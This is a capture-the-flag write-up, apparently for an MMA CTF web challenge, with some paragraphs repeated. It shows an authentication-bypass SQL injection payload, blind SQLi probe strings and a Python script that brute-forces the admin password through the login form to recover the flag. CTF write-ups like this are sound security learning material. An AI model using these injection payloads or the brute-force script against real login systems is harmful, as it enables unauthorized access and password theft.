On this challenge I took an approach that was probably over-engineered. Used Blind SQLi to find the password of the admin user.
You can login with 'test/test' credentials, which gives you this output:
Let's try logging in with the admin' user.
Initially tried a simple sql injection and it worked immediately:
This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
Now that we have that out of the way, let's write a python client!
After a few cycles, this prints out:
You can login with 'test/test' credentials, which gives you this output:
You are test user. logout
Let's try logging in with the admin' user.
Initially tried a simple sql injection and it worked immediately:
Username: admin' --This output was provided, saying we needed to go further by finding the password for the user:
Congratulations!! You are admin user. The flag is your password! logout
This worked without setting the password field, so this makes things easy. Didn't want to attempt dumping the password or joining with the username. So instead went the Blind SQLi route. First tried the initial effort by running:
admin' and password like '%' -- > Success! admin' and password like 'MMA{%' -- > Success! admin' and password like 'abcd%' -- > Expected Failure.
Now that we have that out of the way, let's write a python client!
import sys import requests import random import string url = "http://arrive.chal.mmactf.link/login.cgi" injection = "admin' and password like '{}' --" allChars = string.lowercase solution = "MMA{" def found(c): print "Found! :: {}".format(c) print solution while len(solution) < 80: for c in allChars: print 'Attempt: {}'.format(c) content = requests.post(url, { "username": injection.format(solution + c + "%") }).content if 'invalid' not in content: solution += c found(c) break elif c == 'z': solution += '_' found(c)
After a few cycles, this prints out:
MMA{cats_alice_band}